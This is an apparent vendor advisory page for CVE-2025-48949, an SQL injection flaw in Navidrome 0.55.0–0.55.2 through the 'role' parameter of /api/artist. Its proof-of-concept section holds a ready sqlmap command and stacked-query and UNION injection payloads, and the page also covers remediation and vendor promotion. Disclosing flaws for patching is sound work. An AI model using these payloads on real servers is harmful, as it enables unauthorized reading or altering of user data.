CVE-2025-48949

CVE-2025-48949 is a high-severity SQL injection vulnerability in github.com/navidrome/navidrome (go), affecting versions >= 0.55.0, <= 0.55.2. It is fixed in 0.56.0.

Summary

🛡 Security Advisory: SQL Injection Vulnerability in Navidrome v0.55.2

Overview

This vulnerability arises due to improper input validation on the role parameter within the API endpoint /api/artist. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information.

Details

  • Vulnerable Component:
    API endpoint → /api/artist
    Parameter → role

  • Vulnerability Type:
    SQL Injection (stacked queries, UNION queries)

  • Database Affected:
    SQLite (confirmed exploitation via SQLite-specific payloads)

  • Impact:
    Successful exploitation allows an unauthenticated attacker to:

    • Execute arbitrary SQL commands
    • Extract or manipulate sensitive data (e.g., user records, playlists)
    • Potentially escalate privileges or disrupt service availability

Proof of Concept (PoC)

Example Exploit Command:

sqlmap.py -r navi --level 5 --risk 3 -a --banner --batch --tamper charencode --dbms sqlite

Sample Payloads:

  • Stacked Queries:

    http://navidrome/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist');SELECT LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))--
    
  • UNION-Based Query:

    http://navidrome.local/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist') UNION ALL SELECT 92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,CHAR(113,98,118,98,113)||CHAR(113,84,86,119,114,71,106,104,90,118,120,104,79,66,104,108,121,106,70,68,90,113,104,117,67,98,113,67,103,84,71,120,119,119,117,121,81,76,100,71)||CHAR(113,120,112,106,113),92,92,92,92-- Mtny
    

Example HTTP Request:

GET /api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist* HTTP/2
Host: <TARGET HOST>
Cookie: <REPLACE WITH VALID COOKIE>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: application/json
X-Nd-Authorization: <REPLACE WITH AUTH TOKEN>
X-Nd-Client-Unique-Id: <REPLACE WITH CLIENT ID>

Impact

Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.

Affected versions

github.com/navidrome/navidrome (>= 0.55.0, <= 0.55.2)

Security releases

github.com/navidrome/navidrome → 0.56.0 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade github.com/navidrome/navidrome to 0.56.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2025-48949? CVE-2025-48949 is a high-severity SQL injection vulnerability in github.com/navidrome/navidrome (go), affecting versions >= 0.55.0, <= 0.55.2. It is fixed in 0.56.0. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
  2. Which versions of github.com/navidrome/navidrome are affected by CVE-2025-48949? github.com/navidrome/navidrome (go) versions >= 0.55.0, <= 0.55.2 is affected.
  3. Is there a fix for CVE-2025-48949? Yes. CVE-2025-48949 is fixed in 0.56.0. Upgrade to this version or later.
  4. Is CVE-2025-48949 exploitable, and should I be worried? Whether CVE-2025-48949 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2025-48949 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2025-48949? Upgrade github.com/navidrome/navidrome to 0.56.0 or later.

Other vulnerabilities in github.com/navidrome/navidrome

CVE-2026-25579CVE-2025-48948CVE-2025-48949CVE-2025-27112CVE-2024-56362

Stop the waste.
Protect your environment with Kodem.